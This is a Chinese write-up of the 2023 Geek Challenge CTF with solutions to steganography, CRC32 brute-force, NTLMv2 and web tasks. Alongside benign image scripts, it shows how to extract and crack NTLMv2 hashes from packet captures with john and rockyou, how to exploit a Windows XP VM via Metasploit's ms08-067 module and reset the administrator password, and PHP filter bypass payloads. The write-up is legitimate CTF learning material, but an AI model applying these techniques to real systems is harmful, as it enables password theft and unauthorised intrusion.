2023极客大挑战
2023极客大挑战
misc
DEATH_N0TE(图片放缩)
题目说有两部分flag 且隐写信息极多 那就好说多了 直接考虑图片隐写
使用010editor在图片尾找到一串字符 进行base解码
"你找到了一本《DEATH NOTE》,好奇心驱使你翻开这本笔记,你阅读了使用规则,但是你惊讶地发现刚才的规则之中唯独没有第10条..."
"你再次去确认是否如此,笔记上的文字却仿佛活了起来,在你眼中不断地放大缩小,你闭上了双眼..."
"原本黑色的文字一转变成血红色,诡异的画面还是出现于你的视网膜前,你决定不再纠结于遗失的规则,幻觉消失了..."
既然是png文件 在考虑一下lsb隐写
一看这幅死样子 果然有问题
提取一下信息 在r g b三通道的0位 又是一串base编码
解码 得到第一部分flag
"你继续观察手上漆黑色的笔记本,冷静下来的你发现了藏在封面最下边的一行小字:SYC{D4@Th_N0t4_"
"你浏览过整个笔记本,可惜全是空白页,其中有一页不知道被谁撕掉了,你最终还是翻到了缺失的那一页"
"你用铅笔涂抹着后面一页,上面缓缓出现了遗失的痕迹..."
在观察lsb隐写的时候就会发现 图片表面好像是有水印一样 依稀能辨认出是什么字符
猜测是一些奇怪字体的英文字母 结合是《死亡笔记》的大背景 搜索一下
确认是哥特字体 找个对照图 死亡笔记中哥特字体对照图 有一点要注意 原图下半部分颜色太亮 会影响水印的观察读取 使用ps将颜色调成全黑 就可以看清了
分成四部分来看 结果是
TkFNRV9vMnRha3VYWH0=
看到后面有等号 鉴定为base64 解码
NAME_o2takuXX}
现在两部分flag就全了
SYC{D4@Th_N0t4_NAME_o2takuXX}
但其实还是需要练习一下写脚本的能力
根据前面文字中的第10条放大缩小 猜测需要将原图片缩小10倍
查看原图片像素为(3300,1800) 那么缩小10倍就是(330,180)
写脚本
from PIL import Image
img = Image.open("kamisama.png")
size = img.size
small_size = (int(size[0] / 10), int(size[1] / 10))
img_small = img.resize(small_size, Image.NEAREST)
img_small.save("flag.png")
这里要注意 要使用PIL库中缩放图片算法中的NEAREST
模式
DEATH_N1TE
第一部分看到动态图 一眼拼图 先把webp动态图转换为gif图webp转gif 在分帧
使用montage拼图 gaps恢复顺序
montage ./*.png -tile 40x22 -geometry +0+0 flag.png
gaps --image=flag.png --generations=200 --size=48 --save
拼的不是特别完美 但是可以看出是base64编码
拿到后半部分flag
_14_Ki114R}
后面的音频 一听就是慢扫描电视 把后半部分提取出来
使用工具将图片扫出来 得到第一部分flag
SYC{H4xr0t0r
DEATH-N2TE(gif分帧 图片放缩 像素拼接)
"你知道了真相,正带上《DEATH NOTE》准备逃离,恰好,Muscial发给你一个视频,并说:" "[这里记下了他的真名以及照片,请写在那本笔记上面,我和Arahat0都被他看见了真名...]"。
观察视频 可以看到很明显的竖列白色像素条经过
首先对图片进行分帧 找个软件就行 分出192张图片
和DEATH_N0TE一样 先写个脚本将这些图片缩小十倍 原图片每张是1920x1080 那缩小后就是192x108
from PIL import Image
for i in range(1, 193):
img = Image.open(r'E:\Desktop\比赛/2023极客大挑战\misc\DEATH_N2TE\out/frame_{}.png'.format(i))
size_small = (192,108)
img_small = img.resize(size_small, Image.NEAREST)
img_small.save(r"E:\Desktop\比赛/2023极客大挑战\misc\DEATH_N2TE\out\small\{}.png".format(i))
然后在写脚本将这些像素点进行拼接即可
from PIL import Image
img1 = Image.new("RGB", (192,108), 0)
for i in range(1, 193):
img = Image.open(r"E:\Desktop\比赛\2023极客大挑战\misc\DEATH_N2TE\out\small/{}.png".format(i))
img.convert("1")
for x in range(192):
if x+1 == i:
for y in range(108):
img1.putpixel((x,y),img.getpixel((x,y)))
img1.save("flag.png")
xqr(图片等比例放大缩小 图片异或)
给了一张二维码 扫一下 是false flag
在这张二维码的后面 还有一个图片 提取出来
看起来也是一张二维码 但是没有四个定位点 猜测需要异或 wp中说直接放在ps中 使用差值模式就可以得到反向flag
扫码就可以得到flag
这个方法有点抽象 这边使用另一个方法 通过观察发现 原图片像素为75x75 分离出来的图片像素是25x25 刚好是原图片的1/3
写个脚本 先将分离出来的图片等比例放大到75x75的像素
from PIL import Image
img_input = Image.open("1.png") # 打开图片
size_origin = img_input.size # 读取像素
size_big = (int(size_origin[0]*3), int(size_origin[1]*3)) # 扩大像素
img_big = img_input.resize(size_big, Image.LANCZOS) # 创建新图片
new_size = (75, 75)
new_img = Image.new("RGBA", new_size, (255,255,255)) # 创建新画布
position = ((new_size[0] - size_big[0]) // 2, (new_size[1] - size_big[1]) // 2) # 确保新图片在新画布中心
new_img.paste(img_big, position) # 将新图片放在新画布上
new_img.save("0.png") # 保存图片
在写脚本 将两张图片异或
from PIL import Image
import numpy
img1 = Image.open("0.png")
img2 = Image.open("xqr.png")
array1 = numpy.array(img1)
array2 = numpy.array(img2)
xor_result = numpy.bitwise_xor(array1, array2) # 对两张图片的像素进行逐位异或
result_img = Image.fromarray(xor_result) # 从NumPy数组创建新图像
result_img.save("flag.png")
扫码即可
extractme(压缩包crc32爆破)
打开压缩包
发现每个文件都很小 且大小一样 给出了crc32校验值 想到crc32爆破
写个脚本 循环爆破一下
from binascii import crc32
import string
crc_values = [0x8712de1d, 0x06eacbd7, 0x20a8e291, 0x31ee3074, 0x77aacf7f, 0x35fb7c6c, 0xf978d5aa, 0x016f7a0b]
char_set = string.printable
flag = dict(zip(crc_values, [None]*len(crc_values))) # 创建一个字典flag zip函数将两个列表中的元素一一配对 字典中的键是crc_values中的值 键对应的值是None
for a in char_set:
for b in char_set:
for c in char_set:
for d in char_set:
s = a + b + c + d
crc_result = crc32(bytes(s, 'ascii')) & 0xffffffff # 计算字符串s的crc32值
if crc_result in crc_values:
print(s, hex(crc_result))
flag[crc_result] = s # 当crc_values的值和crc_result匹配上时 将字典flag中对应于CRC32值crc_result的项的值更新为字符串s
print(''.join([str(_) for _ in flag.values()])) # 使用列表推导式遍历 flag 字典的所有值 将每个值转化为字符串 使用join方法连接每个字符串形成一个单独的字符串
# SYC{_cR@ck_1s_Useful_sometime$_}
ez_smilemo
没玩出来 看官方wp说搜一个可以打开data.win
文件的工具 UndertaleModTool
下好后 使用Undertalemodtool打开data.win 直接搜索flag 可以找到一段关于flag的代码和flag的base64值
c20xbGVfMXNfQF9uMWNlX2dAbWU=
sm1le_1s_@_n1ce_g@me
窃听风云(有NTLMv2散列的pcap文件)
题目描述:
Hacker捕获到了一段敌对公司的对话信息流量,你能从流量中分析出Jack的密码吗,flag为SYC{password}
参考文章 9步从pcap文件中提取并破解 NTLMv2 哈希
首先 看到流量包中有http协议 先导出一下HTTP
在其中一个chat.txt文件中找到线索
Boss: Jack, what's the matter with you? This year in HW, the red team used a weak password to log in to your account again!
Jack: Sorry boss, but the password I set is already very long.
Boss: Among the clues provided by the referee, it is said that your password is in a dictionary called rockyou.txt.gz
Jack: Okay, I'll modify it as soon as possible
Boss: Wait, are you still using that password?
Jack: Yes, what's wrong?
Boss: Damn, someone overheard our conversation. Exit the chat room immediately!
大概意思是要我们找到Jack设置的弱密码 这个密码在rockyou.txt这个字典中还出现过
那提到rockyou.txt 肯定要想到爆破哈希密码了 本题就是NTLMv2哈希密码
那我们直接跟着参考文章中的步骤一点点找
1.先过滤ntlmssp字段 获得身份验证的握手包
2.查找NTLMSSP_AUTH
包 查看HTTP数据 看到用户名和域名
User name:jack
Host name:CLIENT01
3.找到NTProofStr字段和NTLMv2的响应部分
ntlmssp.ntlmv2_response.ntproofstr:2d1d24572b15fe544043431c59965d30
ntlmssp.ntlmv2_response:2d1d24572b15fe544043431c59965d300101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000
但是注意响应部分是以NTProofStr字段开头的 要将这部分删掉
4.过滤筛选出ntlmssp.ntlmserverchallenge 找到NTLM Server Challenge字段
NTLM Server Challenge: 2af71b5ca7246268
5.写hash文件
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
jack::WIDGETLLC:2af71b5ca7246268:2d1d24572b15fe544043431c59965d30:0101000000000000040d962b02edd901e6994147d6a34af200000000020012005700490044004700450054004c004c004300010008004400430030003100040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0003002e0044004300300031002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c0007000800040d962b02edd90106000400020000000800300030000000000000000000000000300000078cdc520910762267e40488b60032835c6a37604d1e9be3ecee58802fb5f9150a001000000000000000000000000000000000000900200048005400540050002f003100390032002e003100360038002e0030002e0031000000000000000000
6.使用hashcat或者john爆破密码
john --wordlist=rockyou.txt --user=jack hash.txt out.txt
john hash.txt -show
所以泄漏的密码为
iamjackpassword
窃听风云v2
题目描述:
这次Hacker捕获到了Jack登录邮件系统的流量,你还能从流量中分析出Jack的密码吗,flag为SYC{password}
考的还是ntlm的hash 但是是被base64加密之后的
在服务端返回250和235代码之间的包是认证的过程 从这几个包里面找和上一道题一样的hash
题目说是邮件 找SMTP流量 SMTP11包是认证成功的包 在这里解base64
和上题一样 开始找hash内容
username::domain:ServerChallenge:NTproofstring:modifiedntlmv2response
username: jack
domain: WidgetLLC.Internal
NTLM Server Challenge: 3e3966c8cacd29f7
NTProofStr: ddd46fd8f78c262eae16918f66185497
NTLMv2 Response: ddd46fd8f78c262eae16918f66185497010100000000000050fd26d235edd9011219408ccb8a364800000000020012005700490044004700450054004c004c0043000100100043004c00490045004e00540030003300040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000300360043004c00490045004e005400300033002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000700080050fd26d235edd90106000400020000000800300030000000000000000000000000300000c78e803920758ec5672c36696ee163f6a4e61c8b5463c247daef8571677995a40a001000000000000000000000000000000000000900200053004d00540050002f0075006e007300700065006300690066006900650064000000000000000000
合在一起
jack::WidgetLLC.Internal:3e3966c8cacd29f7:ddd46fd8f78c262eae16918f66185497:010100000000000050fd26d235edd9011219408ccb8a364800000000020012005700490044004700450054004c004c0043000100100043004c00490045004e00540030003300040024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000300360043004c00490045004e005400300033002e005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c00050024005700690064006700650074004c004c0043002e0049006e007400650072006e0061006c000700080050fd26d235edd90106000400020000000800300030000000000000000000000000300000c78e803920758ec5672c36696ee163f6a4e61c8b5463c247daef8571677995a40a001000000000000000000000000000000000000900200053004d00540050002f0075006e007300700065006300690066006900650064000000000000000000
john --wordlist=rockyou.txt hash1.txt out.txt
john hash1.txt --show
jack100589barney
时代的眼泪
非预期解是直接解压vmdk文件 在文件中找 flag就在桌面壁纸中
Tears_of_the_times-disk1.vmdk\Documents and Settings\Administrator\Local Settings\Application Data\Microsoft\Wallpaper1.bmp
预期解就是小小的渗透一下
首先点击Tears of the times.ovf
将虚拟机导入vmware中 但是发现需要密码
使用kali攻击机 先扫一下靶机的ip
nmap 192.168.160.0/24
扫出是192.168.160.154
在进一步扫一下开放的端口
nmap -T4 -sC -sV 192.168.160.154
也进一步证明了 我们扫出来的ip就是靶机ip
找一下windows xp系统经典漏洞
里面提到的是ms08-067
漏洞
就找这个漏洞
search ms08_067
use 0
set RHOST 192.168.160.154
run
shell
拿到shell之后 直接修改Administrator用户的密码
net user administrator 123456
修改完毕 直接登陆 直接在桌面上看到flag了
web
EzHttp
需要使用post传入username和password 随便传一个 然后抓包
想到robots.txt
访问一下
在访问一下/o2takuXX's_username_and_password.txt
得到username和password
使用正确的账号密码进行登陆 是对http请求头进行操作 分别是
必须来源自sycsec.com
请使用Syclover浏览器
请使用Syc.vip代理
对http请求头进行修改
对于最后一步
<?php
if($_SERVER['HTTP_O2TAKUXX']=="GiveMeFlag"){
echo $flag;
}
?>
就是要求http请求头中的O2TAKUXX
字段的值要为GiveMeFlag
这里要注意在php中 所有http请求头中的内容前都会有HTTP_
前缀 所以我们真实需要在http请求头中上传的参数是O2TAKUXX
easy_php(php绕过)
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_GET['syc'])&&preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']) && $_GET['syc'] !== 'Welcome to GEEK 2023!') {
if (intval($_GET['lover']) < 2023 && intval($_GET['lover'] + 1) > 2024) {
if (isset($_POST['qw']) && $_POST['yxx']) {
$array1 = (string)$_POST['qw'];
$array2 = (string)$_POST['yxx'];
if (sha1($array1) === sha1($array2)) {
if (isset($_POST['SYC_GEEK.2023'])&&($_POST['SYC_GEEK.2023']="Happy to see you!")) {
echo $flag;
} else {
echo "再绕最后一步吧";
}
} else {
echo "好哩,快拿到flag啦";
}
} else {
echo "这里绕不过去,QW可不答应了哈";
}
} else {
echo "嘿嘿嘿,你别急啊";
}
}else {
echo "不会吧不会吧,不会第一步就卡住了吧,yxx会瞧不起你的!";
}
?>
第一步
preg_match('/^Welcome to GEEK 2023!$/i', $_GET['syc']):这部分使用正则表达式来检查'syc'参数的值是否匹配模式'/^Welcome to GEEK 2023!$/i'。正则表达式中的'i'表示不区分大小写,也就是说,它会匹配值为"Welcome to GEEK 2023!"的任何大小写形式。
$_GET['syc'] !== 'Welcome to GEEK 2023!'是检查syc的值 需要完全不等于Welcome to GEEK 2023!
因为preg_match的判断中不区分大小写 因此一个大小写绕过就行
?syc=wELCOME TO geek 2023!
第二步
intval()函数将参数的内容转化为整数 要求lover中的值小于2023但是加一之后大于2024
根据intval()函数的使用方法,当函数中用字符串方式表示科学计数法时,函数的返回值是科学计数法前面的一个数,而对于科学计数法加数字则会返回科学计数法的数值 因此使用科学计数法绕过即可
&lover=1e6
第三步
上传两个参数qw和yxx 再将两个参数的值转化为字符串 传入array1和array2两个参数中
非常简单 随便传
第四步
要求被赋值后的array1和array2经过sha1加密计算后的值相等
在传入qw和yxx时 值相等即可
qw=0e1&yxx=0e1
第五步
参数中存在小数点 会将其转化为下划线所以传参之后的参数就不是题目中要求的参数名了
php的非法传参 在前面使用中括号替换掉第一个下划线即可
&SYC[GEEK.2023=Happy to see you!
SYC{bgH2lFmnLIEkY1jIvl}